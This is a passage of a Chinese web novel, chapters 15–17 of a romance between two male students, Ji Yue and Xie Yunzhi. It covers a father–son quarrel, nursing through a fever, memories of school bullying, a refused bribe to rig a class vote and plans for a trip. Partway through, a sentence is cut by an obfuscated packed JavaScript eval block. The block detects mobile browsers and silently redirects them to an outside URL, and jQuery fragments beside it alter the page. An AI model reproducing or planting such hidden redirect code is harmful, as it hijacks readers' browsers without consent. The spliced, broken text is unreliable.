“我跟他学什么。” “你说学什么?”季近严放下手里的茶杯,狠狠瞪着他:“你不趁现在写着怎么经营公司,以后我死了,这么大的家业谁来管?!” “你不是还有几个兄弟吗,家业可以交给他们管。” 季近严脸色严肃,猛的拍了一下桌子:“你这说的什么话?我辛苦打下的江山怎么能交给外人?” 季越翻了个白眼,撇过了脸去。 “你要是不想交给外人,你可以和我妈再生一个。” 15. 偷拍 季近严被他这话气的不轻,站起来想扇他一个耳光,但在巴掌落下之前,季越就抓住了他的手腕。 季近严这才发现这小子不知道什么时候个子竟然蹿到这么高了,足有一米九多,黑色的衬衣将他上身精瘦的肌肉衬托无遗,小手臂上的肌肉微微隆起,一看就充满了力量感。 哪怕他是季越的父亲,面对这样强健体格和强势气息,心里也感到不小的压力。 “小兔崽子,你想造反吗?” 季越眯起眼睛,松开了手。 “我哪敢啊”,说话时嘴角挑起,讽刺意味明显。 季近严坐回沙发上,实在是气不过,把茶杯“嘭”的一声摔在地上。 “季董,您消消气。”江然脸上的笑容虽然不变,但心里却十分犯愁。 季越的大名,他是听说过的。据说季近严曾经让他去公司实习,但他的性格张狂嚣张,整个公司都没几个人敢惹他,完全就是个活祖宗。 “你一心想着学医,你倒是高兴了,想过家里的人没有?你知道医生多忙吗?辛辛苦苦一年到头能赚几个钱?我怎么会有你这个不争气的儿子!”季近严喘着气说。 季越泽扬了扬冷峻的眉毛,不置可否: “爸,你心里是不是就只有赚钱?我早就跟你说了,我想学医,但你从来不在乎我的看法。” “你觉得钱不重要?要是没有我赚的钱,你现在不知道在哪儿喝西北风呢。我看你就是舒服日子过太久了,我像你这么大的时候,早就开始自力更生了。” “行啊,这有什么了不起的。”季越那张玩世不恭的脸此刻变得十分阴沉。以后我不会再跟你要一分钱。” 冷冷地说这句话后,他就转身离开了家里。 季近严怒道:“你打算鬼混到什么时候?” “砰——” 回答他的只有一阵振聋发聩的摔门声。 其实见到季近严的时候,季越久已经猜到他想干什么了,季近严一直想让他继承家业,高三毕业那年甚至擅自偷偷篡改过他的大学志愿,要不是班主任把这事告诉他,他可能就这样稀里糊涂地上了套,被送去学金融。 季近严是个很典型的商人,从小到大季越的家长会,他从来没有去过一次。哪怕季越在学校里打架了,他也只会拿钱去摆平。 季近严或许有一套自己的价值观,但季越也有自己的理想和追求,父子俩的价值观格格不入。季越不想成为一个任人操控的傀儡,如果季近严非要强迫他去做自己不想做的事,他也只好离家出走。 离开家里后,季越给梁芸发消了个消息,问季近严这次要在家里待多久。 对面回复说两个星期。季越烦躁地咂了咂舌,打算这两个星期都不回家了。 …… 次日下午,上完专业课后,季越去了一趟社团的活动室。 活动室位于图书馆东侧那栋旧实验楼的五楼,季越推门而入时,夕阳正好从西窗斜切进来,将满屋浮尘照成浅金色。 谢允执已经提前到了,他站在房间中央,身后背着一个黑色的吉他包,肩头落满细碎的光斑,连睫毛都染上了暖意。 听见开门声,他转过身来,朝季越浅浅地笑了一下:“学长。” “你到的真早。”季越也露出一个笑,从包里拿出钢笔和五线谱,放在桌上。 “主题曲的旋律我昨晚已经写好了一段,你看看。” 谢允执走到桌边,接过谱子。 “怎么样?”季越问,嗓音有些哑。 “我觉得挺好的。” “那我们把曲子演奏出来试一试。”这里以前是一个音乐教室,季越走到角落那架电子钢琴前,拉开椅子坐下。 “好。”谢允执拿出吉他,拉过另一把椅子,在季越身旁坐下。 季越弹了一小段,左手低音区压得很沉,右手在高处碎成断断续续的琶音。 “接下来那一段,我钢琴单音走到底,然后你吉他再切进来。” 坐着的时候才觉得,季越是真的很高。 他下颌线流畅漂亮,说话时凸出的喉结微微滚了滚。 季越弹完一段旋律,对谢允执使了一个眼神,没有多余的确认,谢允执直接开始扫弦,拨了几下弦,立刻跟上了钢琴的旋律。 窗外起了风,旧实验楼外的梧桐叶沙沙地响。 冷风吸进肺里,季越突然咳嗽起来,钢琴的节奏一下子乱了。 谢允执放下手里的吉他,关心地看着他。 季越咳了好半天才停下来。他别过头去,声音闷闷的:“今天先练到这里吧,我好像感冒了,你离我远点,免得被传染。” 昨晚他是在许驰的酒吧二楼睡的,夜里突然降温,他没关窗,床头就对着窗户,被冷风吹了一晚,早上起来时身体就产生了异样,头昏昏沉沉的,嗓子也有些痛,像是感冒了。 他的体质从小就不太好,为了避免嗓子发炎,出门前他吃了两颗消炎药,但似乎并没什么用。 昨天出门时梁芸就提醒他穿厚点,免得感冒,没想到一语成谶。 “我身体很好,不会那么容易被传染的。”谢允执抬起手臂,手背十分自然地贴上季越的额头。一个有些脱离分寸的动作,季越视线上上下下流转一阵,却没能说出话来。 “你额头很烫。”谢允执皱眉,“是不是发烧了?我送你去校医院。” “不用,我休息一会儿就好。” 季越一只手撑着额头,眉头紧紧蹙着。 谢允执起身把活动室的窗户关上,来到季越身边,“我的宿舍离这里近,你要不去我那儿休息吧。” 季越想说“不用麻烦”,话到嘴边却被一阵猛烈的咳嗽打断,嗓子干痛,连呼吸都变成一种钝痛。 他松开撑着额头的手,发现掌心里全是冷汗。 身上一阵冷一阵热,衬衫黏在汗湿的后背上,凉飕飕地贴着皮肤。 他闭了闭眼,声音哑得几乎听不清:“……行,麻烦你了。” 谢允执带季越去了他的宿舍,和大部分男生宿舍不同,他们宿舍里的人都很爱干净,书桌和床铺收拾得如同样板间。谢允执让季越躺在 自己的床上,找出温度计给他量了体温。 “38.5度。” 季越脑袋沉得像灌了铅,听到这个数字后,松了口气,还好,不是高烧。 谢允执:“你先躺着休息一会儿,我去给你买药。” 到了医务室后,谢允执把季越的症状告诉医生。医生给他开了感冒药,退烧药,还给了他一个冰袋:“等他吃完药,要是三十分钟内温度还是不变,就用冰袋物理降降温。” “好的。”谢允执点头,暗自记下。 回宿舍后,谢允执用杯子接了一杯温水,把药和水一起递给季越。 因为退烧药的副作用,季越吃完药后很快就开始犯困,在床上躺下后没多久便睡着了。 谢允执的手机忽然震动了一下。点开一看,是顾存发来的消息。 【顾存:晚课要开始了,我帮你占好座位了,你在哪儿,怎么还没来?你再不来要迟到了。】 谢允执把手机关成静音,回复:【有事,不来了。】 【顾存:?太阳从西边冒出来了,三好学生居然会旷课。】 谢允执没有和顾存解释更多。他关了手机,走到床边。 季越睡得十分安稳的样子,谢允执把手探向季越的后颈,男生的皮肤温热,他的心跳陡然加快,一时忘了这个动作是为了判断温度。 季越的嘴唇有些红,轻轻喘息的样子令人想入非非。谢允执移开视线,他不能去想。 谢允执强迫自己冷静下来。季越的体温好像比三十分钟前要低,但谢允执拿不准是不是退到了正常温度,也许应该试一试额头挨额头,可这个动作在他们之间并不合适。 为了保险起见,谢允执还是用毛巾包着冰袋帮季越降温。 季越依然在睡梦中,但嘴唇因为干燥破了皮,谢允执知道生病的人应该多喝热水,于是轻声叫:“季越,起来喝点儿水。” 季越却并不动,谢允执只好强行扶着他让他坐起来,季越身体软软靠在谢允执手臂里,谢允执只能用左手拿杯子喂季越喝水,稍不注意角度一大季呛到,水从嘴角一直流到下巴、脖子和T恤上,偎在谢允执臂弯里的人咳着嗽睁眼看一眼,说梦话一样讲了三个字:“谢允执。” 谢允执以为他醒了,但季越说完这话眼睛又闭上,谢允执一边手忙脚乱替季擦拭下巴和脖子,心想那大概是梦话。 谢允执对于照顾病号这种事并不熟练,动作狼狈又混乱, 但见到那张仍在熟睡、对这混乱一无所知的英俊脸庞时,心头却突然感到一种久违的柔情。 喂他喝完水后,谢允执坐回床边的椅子上,双手扑在书桌上,头枕在臂弯里,像一只慵懒的猫一样,偏头眯起眼睛望着季越。 就这样痴痴地盯着他看了很久很久。 季越醒来时,天已经黑了。他躺在床上,指尖轻轻弹动一瞬,艰难睁开了双眼。 他的烧也已经退了,气色恢复不少。偏头,看见床头柜的水杯下面压着纸条: “醒来记得喝水,桌上有药,药旁边的盒子里有薄荷糖。” 16. 发烧 季越从床上坐起身看了眼手机,时间是晚上八点四十分。通知栏上,季近严给他发了好几条消息。 季越看也没看就把消息划掉了。 谢允执回宿舍的时候,正好见到季越坐在床边,冷着脸,心情很差的样子。 “你醒了。”谢允执把从手里的塑料袋放在桌上,从里面拿出一双筷子递给季越:“我买了两碗粥,一起吃吧。” 季越“嗯”了声,礼貌地说:“谢谢。” 两人坐在宿舍里一起吃东西,季越沉着脸,没有主动开口说话,谢允执也不是太会说话的人,尴尬在两人当中蔓延开来。 谢允执看出他心情不佳,脑子里竭力搜索他看过的笑话和段子。 “你有没有听过一个故事?”谢允执忽然开口道。 季越:? “医院护士凯特疯狂地爱着医生罗伯特,罗伯特也醉心于凯特。” “凯特站在房间左边,罗伯特站在右边。凯特刚脱下外套,罗伯特就褪去了内衣。” “左边的凯特慢慢向右靠,右边的罗伯特渐渐向□□,然后两个人飞奔到了床上。贪婪地...睡着了。” “凯特睡着的地方是‘医院的值班室’,而罗伯特睡觉的地方则是‘自己家的卧室’。” 这是一个典型的黑色幽默:两人看似在调情,其实身处异地,根本不在同一个空间。 季越:…… 谢允执不知道到底哪个环节出了错,这个笑话明明很好笑啊,为什么季越不笑呢? “你是不是心情不好?”谢允执叹了口气,忍不住问。 “嗯,但不是什么大事。”季越不想他被自己的负面情绪影响,扯了一下嘴角:“有没有人说过,你笑话讲得很冷?” “很冷吗?”谢允执眼神茫然。 他的这个出乎意料的反应,让季越忍不住笑了起来,肩膀震颤,气息都收不住,露出了今晚第一个真正意义的笑容,不是随意敷衍,而是发自内心的那种。 谢允执微微歪了歪头皱起眉心:“笑什么?” 季越没有回答,只说:“谢谢你今天照顾我。” 不管怎样,他终于开心了。谢允执眉心舒展开来: “不谢。” 毕竟,你也帮过我很多。 过去的一些往事浮上心头。 谢允执的家庭情况不算差,但父母常年吵架,家里永远笼罩着一层灰色的压抑。自从初中时被自己最好的死党背叛后,他就不怎么跟人说话了,初中三年形单影只,到了高中,他已经习惯做一个透明人。 那时候他患有厌食症,阴郁,瘦弱,穿着大一码的校服,头发长了也不敢去剪,因为怕跟理发师说话,走路永远低着头,像一只随时准备缩进壳里的蜗牛。 由于性格内向,沉默寡言,开学一个月了,谢允执还是没有交到任何朋友。 但曾经他觉得这样也没关系。不被看见,就不会被评判,不被评判,就不会受伤。 可是季越看见了他。 高一那年,三月末的时候,班上组织了一场春游。班主任包了辆大巴车,一路晃晃悠悠往城外开。 到了森林后,班主任让大家自由活动,但不要跑太远,四点前记得回来。 解散后,谢允执没有跟着大部队走,而是绕开人群,来到一个小坡上。 他找了一块平整些的石头坐下,从口袋里摸出一包烟,抖出一根,却没点。只是把烟叼在嘴里,盯着湖面发呆。 几棵柳树歪歪斜斜地长在水边,枝条垂下来,嫩绿的芽点在风里轻轻晃,阳光打在水上碎成一片。 四周十分安静,但下一秒,他听见了那个熟悉的声音。 “哟,杀人犯的儿子,没想到又见面了。” 谢允执回头,看到了一张故人的脸,是一张他再也不想看见的脸。 汪南穿着黑T恤和牛仔裤,目光紧紧瞪着谢允执,眼神里带着轻蔑、厌恶和一种残忍的凶狠。他的身边还跟着两个高大魁梧的男生,浑身散发着“来找茬”的气息。 “赵星河,你以为转学了,我就找不到你了?” “你想干什么?”谢允执起身,冷冷地看着他。 “借点钱花花。” “凭什么给你?” “你不给我,我就把你爸的事告诉你班上的同学。” 谢允执是上大学后才改名随母亲姓的,高中时他的名字叫赵星河。 “我没钱,就算有也不会给你。”谢允执说:“你爸的死跟我没有关系,就算你把气撒在我身上也没用。” “怎么跟你没关系?如果不是你爸请假,我爸就不会去顶那个班。他也就不会死。父债子偿,我爸是你爸害死的,你就应该替他还债。” 汪南说着,心里气不过,突然伸出手猛地推了一把谢允执。 “没钱,行啊,那你就去死吧。” “啊!” 谢允执整个人往后倒去,他脚下是一个斜坡,眼前的景色翻转着,然后脊背重重地撞上了什么,身体弹了一下,又往下滚了两三米才停住。 右脚踝传来一阵尖锐的疼,像是有什么东西从骨头里裂开了。 坡顶上的脚步声逐渐远去。大概是害怕被其他人发现,汪南和他的同伴们离开了。 谢允执撑着手肘坐起来,碎石硌进掌心。他捡起碎了的眼镜,低头看着脚踝上那道伤口,血珠子正一颗一颗地往外冒,在苍白的皮肤上显得格外刺目。 他忽然觉得很累,不是身体上的那种,是一种很深很深的、从骨头缝里往外冒的累。他甚至不想站起来。 这时后方突然传来了一阵脚步声。一个人正从山坡下往上走,脚步不快不慢,踩在落叶上发出细碎的声响。 谢允执慢慢抬起头,阳光恰好在那时候穿过树缝,碎金似的落下来,照在季越的脸上。 大概是从另一条岔路过来的,他对刚才发生的事一无所知。 “同学,你怎么坐在地上?” 季越目光掠过谢允执脚踝上的血痕,眉心蹙了一下:“受伤了?” “我没事。” “你的脚看起来可不像没事的样子。” 正说着,口袋里的手机突然震了一下。季越掏出手机,扫了眼屏幕。 “班主任让大家集合了。”他把手机揣回兜里,看向谢允执,“你能走吗?” “能。” 谢允执点点头,撑着地面站起来。但右脚刚一着地,那股尖锐的痛就从脚踝蹿上来,顺着他小腿一路向上,膝盖不由自主地弯了一下。 季越连忙伸手扶住他:“别逞强了,要是脚被扭伤的情况继续走,伤会更严重的。 我背你吧。” “不用。” “你不会是不好意思吧?踝关节的韧带很脆弱,你现在不注意,以后会一直痛的。” 集合时间就快到了,谢允执不想让全班同学都等他一个人,犹豫片刻,最终还是答应了季越的提议。他的身形看起来清瘦,但毕竟是也是个一米八几的男孩子,体重并不轻,反而像沙袋一样沉甸甸的。 季越背着他沿着林间小路往下走,却并没有表现出吃力。他虽然是个养尊处优的小少爷,很少做这种体力活,不过他每周都会在家里的健身房健身,所以力气并不小,步伐也很稳。 谢允执双手搂着季越的脖子,脸颊离他后颈很近。少年的衣领洗得雪白,身上散发着一股阳光又干净的气息。 谢允执想起开学那天两人第一次见面时季越也帮过他,那只是一件小事,也许对方已经忘记了,他却还记得很清楚。 明明我们并不熟,为什么你要对我这么好?谢允执很想问他,却并没有问。他想,大概是因为他是个见义勇为的人吧。 在这个角度下,谢允执看不到季越的正脸,脑海里却浮现出他微笑的面容。同时在心里幻想,如果初中时他遇到的人不是汪南,而是季越,或许他们也能成为很好的朋友,自己也不会变成现在这样孤僻的性格。 “下面的路有点陡,你可以搂紧点,我感觉你要掉下去了。” 意识到季越正抓着他的大腿,谢允执的脸颊却开始发烫。他闭上眼,睫毛轻轻颤了颤。山路两旁的树在慢慢后退,阳光从枝叶间落下来,一明一暗地掠过他的脸。 胸腔里有什么东西在跳,一下一下地,很用力,用力到他担心背着他的人会不会听见。 这种感觉不是恐惧,也不是疼痛。 而是喜欢。 我喜欢上了这个人。 意识到自己的心意后,谢允执就开始注意季越。 下课的时候,他偶尔会装作去讲台边接水,回座位时用眼角余光往季越的方向望一眼。上体育课的时候,他也会假装在压腿或者系鞋带,好把目光停在季越的身上久一点。 在这些的漫长的、小心的注视里,谢允执知道了不少有关季越的事。 比如他每天由司机接送,穿的鞋是很贵的名牌,可能比大多数同学家里都有钱。 比如他午饭从来不在食堂吃,而自己带便当,饭盒是红色,里面的配菜每天都不同。 他还知道了季越的一个小习惯,那就是思考的时候会用食指关节轻轻敲两下太阳穴,这个动作大概和他在学钢琴有关。 同时谢允执也越来越清楚地意识到一件事:他和季越之间有着巨大的鸿沟,这鸿沟的距离不是一个光年能够丈量的。 谢允执很有自知之明,明白像季越那样的天之骄子是不会喜欢自己的,所以他从未主动和季越说过话,写过很多封情书,却从未交给过对方。 不试图成为他的朋友接近他,也不奢望在他的青春故事里扮演哪怕一个配角,他只是在那些不被人注意的角落里,沉默地、固执地、日复一日地喜欢着他。 那种喜欢很安静,安静到没有任何人发现。 就连季越本人也不知道,在自己的高中时代,有一个坐在最后一排的沉默男孩因为他曾经给过他的小小的善意,就将自己的整颗心都交给了他。 17. 礼物 “咔——” 宿舍门忽然开了。 放上完课的顾存回到宿舍,恰好撞见季越和谢允执一起吃饭的场景,愣了一下。 “季越,你怎么在这儿?” “事情是这样的……”谢允执把季越感冒,所以自己送他来宿舍休息的事告诉顾存。因为谢允执的其他室友也陆续回来了,季越便没在他们宿舍里多待。 季越走后,顾存忍不住问:“谢哥,你旷课该不会就是因为他吧。” 谢允执没有否认。 顾存有种怪怪的感觉,他想,谢哥对季越,是不是太好了一点? 顾存了解谢允执,他虽然脾气好,但不是个滥好人。平时的交往中,谢允执和大部分同学都保持着一定的距离感。可是他对季越实在比对其他人主动太多了,而且他看季越那眼神和看其他人不同。具体是哪儿不一样,顾存说不上来,但就是能感觉出不同。 周五,杨齐海给谢允执发了条消息,约他在学校外的一家中餐厅吃饭,说有重要的事想和他商量。 消息弹出来时,谢允执正在图书馆里翻看民法教材。他盯着“重要”两个字看了几秒,回了个“好。” 到了餐厅后,站在前台附近的杨齐海朝他招了招手,十分殷勤地微笑着:“谢哥,你来啦。” 领谢允执上二楼包厢的途中,杨齐海一直在寒暄天气和课业,语气热络得仿佛两人是多年老友。 谢允执不知道他对自己的态度为什么突然好转,明明之前他们俩还因为竞选班委发生过口角。 “想吃什么随便点,我请客。”杨齐海把菜单推过来。 “我已经吃过了,”谢允执在他对面坐下,开门见山道:“你找我有什么事?” “哦......其实也不是什么大事。那个,咱们班下个月不是要评选优秀学生代表吗,我问了以前的学长学姐,他们说评选一般是先向辅导员报名,然后班上的学生在班群里线上投票。谢哥,你到时候能不能把名额给我啊?” 谢允执皱了皱眉,这件事辅导员之前和他提过,投票一般是团支书负责发起和统计的。没想到杨齐海找他是为了说这个。 “抱歉,我不能答应你,”他的声音平稳,“名额是大家投票选的,不是我一个人决定的。” 被拒绝后,杨齐海脸色有一丝僵硬,但很快又恢复成精明的谄媚状: “投票不是匿名的吗,结果又不是公开的。我都计划好了,到时候我发给你一个投票的小程序,只要你把它转发在班群里,投票结果咱们就是可以控制的。都是匿名的,大家也不知道真实情况怎么样。” 说着,他从口袋里摸出一个红包,鼓鼓囊囊的,搁在桌上推过来递给谢允执。 “谢哥,我知道我以前得罪过你。我给你道歉,这是一点心意,里面有一万块钱,希望你既往不咎,帮我这个忙。我保证不会把这事说出去的。你要是帮我这一次,以后咱俩就是哥们,你有什么事,我就是上刀山下火海也会帮你。” 谢允执盯着他手里的红包。一万块钱,他两个月的打工费都没有这么多。但他还是拒绝道: “抱歉,我不能收。” 他站起身,包厢暖黄的灯光打在他侧脸上,把他下颌的弧度映得清晰分明。 帮助他,就代表自己接受贿赂,破坏了选举的公平性。他是法学生,公平公正是他心里最重要的底线,如果跨越了这条底线,他也不配读这个大学。 “希望你以后不要再为这种事请我吃饭了。”说完这句话后,谢允执便面无表情地起身离开了包厢。 转身拉开门的时候,他听见身后杨齐海压着嗓子说了句什么,大概是骂人的话,但他不介意,也没有回头。 …… 夜晚,初见酒吧。 许弛把一幅镶嵌在淡金色画框里的画递给谢允执,说:“小谢,帮我把这幅画挂在墙上吧。” 谢允执从他手里接过那幅画,画框不重,质感倒是很好,边角雕着细密的藤蔓纹。画面上是两个站在轮船甲板上的人,一男一女,都只露出侧影。男人的轮廓被夕阳勾出一道暖边,女人微微偏着头看他,似乎在交谈什么。晚风把女人的头发吹起来一缕。 季越就坐在散台上,谢允执看了看画,又看了眼季越的侧脸,忍不住说:“这画上的人看起来有点像你。” 季越摘下一边的耳机,抬头看了他一眼:“什么?” 他靠在椅背上,长腿伸到沙发外,膝盖懒洋洋地搭着,整个人像一只刚刚吃饱了、暂时懒得动弹的大型犬科动物。 耳机里播放着音乐,所以他刚才没听清谢允执说了什么。 谢允执把刚才的话又重复了一遍。 季越的目光落在那张画上,脸上闪过一丝复杂的情绪。 “你怎么看出来的?” “真的是你?”谢允执有些惊讶。 “这幅画是我姐画的。” 高三暑假的时候,季越和程唯一起去意大利旅行。在威尼斯的运河旁,程唯画下了他的背影。 谢允执对程唯这个名字有一点印象,之前一起吃饭时听他和顾存提起过。 “你们以前是不是交往过?” “嗯,交往过一段时间。” 经过这几天的相处,两人的关系拉近了许多,已经和要好的朋友一样。季越主动和他谈起程唯的事。“我们的父辈是交情很好的朋友,所以我跟她从小就认识了,以前我生病的时候,父母不在身边,她经常去医院看望我。后来我们很自然地就成为了男女朋友。没有特别轰轰烈烈,高中她十八岁生日派对的时候,我跟她一起跳了一支舞,就这样正式在一起了,我们父母都挺开心的。但交往一个月她就把我甩了。快毕业的时候她问我想报哪所学校,她想去意大利留学,但我本科想在国内念书,她觉得我不重视她,而且不够浪漫,就提出分手了。现在想想,我好像的确不太适合做她男朋友,还是更习惯拿她当姐姐。” 谢允执很少跟身边的人聊心事,现在看季越耽于回忆的陈述也并不十分适应。或许是这段回忆中有一些令他不舒服的细节,比如两小无猜的青梅竹马,大小姐无忧无虑的十八岁生日派对,父母支持而当事人不珍惜的恋情。又或许,他可能只是单纯嫉妒对方的爱情故事里主角不是他。 季越苦笑了一下,“你说,要怎么做才算浪漫?” 谢允执把画挂在墙上,然后转身扶着下巴认真地思考了一下,说:“浪漫……大概就是为喜欢的人做一些特别的事。” “比如?” “比如为她写一首情歌。这不是女孩子们喜欢的浪漫招数吗?” 季越沉默了一会:“其实我想过,但是真正去写的时候,我发现我好像写不出来。” 他原本以为自己是喜欢程唯的,可是,在想起她的时候,却发现他对她好像并没有那么多感情要讲。 这大概是他的问题,也就是那时候他意识到,自己对她并没有那么喜欢。 “真正写过才知道,情歌挺难写的,所以我觉得会写情歌的人都很厉害,我最喜欢的一首歌也是情歌。” “哪首?” “Beyond的《喜欢你》。” 季越问谢允执知不知道这首歌的故事,谢允执摇头说不知道。 季越就把这首歌的故事告诉了他。 据说88年黄家驹找了一个女朋友,可是女朋友见他整日专心音乐,无心顾她。于是向他提出一个要求,只要他能放弃音乐,自己便跟他走。 但最后,黄家驹放弃了爱情,写下了这首情歌。 酒吧里的灯光照下来,落在谢允执脸上,季越能清晰看见他脸上遗憾的神情。 “如果是你,你会怎么做?” 谢允执说:“我会选择放弃音乐。” “真的?” “如果是为了喜欢的人,我愿意做任何事。” “哪怕是叫你送死你也愿意。” “嗯,愿意。” 语气里有一种天真的执拗。像是小时候听过的那些童话故事里,为了心上人跳进湖里捞月亮的傻瓜。季越本来想告诉他,真正爱你的人不会让你为他去送死,但他最终并没有开口。 “那你对爱人有什么要求?”季越开口的时候,声音比他预想中认真了一些。 “没有。喜欢是一个人的事,我喜欢他,不求任何回报。” 季越扬眉,意味不明地笑了声。 他想起自己以前交过的女朋友,哪怕她们,也无法像他一样对自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822783|211196||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 己说出这番话。 季越一直想遇到一个爱自己爱到可以放弃一切的人,一直以为那样的人现实里并不存在。可是现在他知道了,这样的人是存在的,只可惜对方和他一样是男人。 …… 今天店里的生意不是很忙,盘点完滞销酒的库存后,许弛就凑到散台旁,问:“你们俩在聊什么?” “音乐,”季越头也不抬地说:“怎么了?” “我周末打算去宁夏拍组照片,你们要是没事,陪我一起去呗?” 许弛除了是酒吧的老板外,还是一个自由摄影师,平时为各种类型的杂志拍照。 季越挑眉,“你什么时候出去拍照还怕孤单了?” 许弛莞尔一笑:“不是怕孤单,是这次拍的题材有点特别。杂志社约的是一组‘西北夜饮’的稿子。贺兰山深处有片废弃的烽火台,我想拍两个人在荒野里喝酒的样子,你们俩往那儿一坐,照片不就有了吗。” 原来他们俩是被看中的高级模特。 “行,我去。”季越答应得很干脆,他也算是个旅游爱好者,但他去过的大部分是国外城市,还没去过宁夏。 接着偏头问谢允执:“你去吗?” “嗯。”谢允执从没和别人一起出门旅游过,但如果是和季越一起,他想试试。 回宿舍后,谢允执把这事告诉了顾存,后者正躺在床上刷手机,一下子蹦起来道:“我靠,银川!沙漠!我也要去!” 于是周六早上,四人便在机场碰了头。谢允执换好登机牌,低头一看座位号,心跳不争气地快了一拍。他在季越旁边。而顾存和许弛坐在7D、7E的座位上,和他们隔着一条走道。 早上的风灌进航站楼,带着深秋干冷的凉意。季越今天穿了一件黑色大衣,领口绕了一圈暗红色的围巾,松松垮垮地垂下来,衬得他皮肤白皙,下颌线条棱角分明。 谢允执一眼就认出了那条围巾,他没想到季越还留着。 自从那次春游过后,谢允执就开始默默关注着他。可是他们之间并没有什么交集。 真正和他有接触,是高二那年的冬天。 季越生病了,请了很久的假。他的身体虽然看起来挺健康,实际上每年都会感冒两三次,而且一感冒就很严重,那次直接烧成肺炎,住了将近一个月的院。 班里组织探病,谢允执也跟着去了。病房里摆满了花和果篮,同学们围着病床说说笑笑,季越靠在枕头上,嘴唇还有点白。 “祝你早日康复。”谢允执把牛皮纸袋递过去。里面放着那条围巾,看上去平平无奇,实则里面暗藏玄机,围巾内侧偷偷缝着一枚从庙里求来的平安符。 “谢谢。”季越抬头看了他一眼,目光不深不浅地掠过,然后就把袋子搁到了一边,和别的礼物摞在一起。 …… 进入客舱后,顾存隔着走道探过半个身子,道:“季越,你这围巾哪儿买的?挺好看啊。” “高中同学送的。”语气漫不经心。 “谁啊?暗恋你的女生?”顾存笑得不怀好意。 谢允执坐在他身旁,扣安全带的动作顿了一下。 季越靠在椅背上,目光落在天花板上,停了两秒,随口道:“忘了。” “不愧是你,一般人哪能忘啊。”顾存一脸无语地翻了个白眼。 胸口被刺了一下。谢允执的手指在安全扣上捏紧了一下,又松开。他说不上来自己是什么感觉。 他以为季越早就扔了,可发现季越留着。看见那条围巾挂在季越的脖子上。他本来是开心的,可季越却说忘了送他礼物的人。 这也是理所当然。毕竟他收到过那么多礼物。自己送他的并不是最特别的,也不是最值钱的。 季越保留着那些礼物,应该是出于教养和尊重。可是他收下礼物,却忘记送礼物的人。既温柔又绝情。温柔在于他珍惜每一样礼物,绝情在于他珍惜的只是礼物本身。 飞机滑行起飞,窗口的跑道飞速后退,城市变成棋盘一样的格子。季越歪着头看窗外,鼻梁和眉骨的轮廓在晨光里格外清晰。 谢允执偏开视线,嘴唇抿成一条直线,闭上了眼睛。 他不能开口说“那是我送的”。心情有些压抑和难过。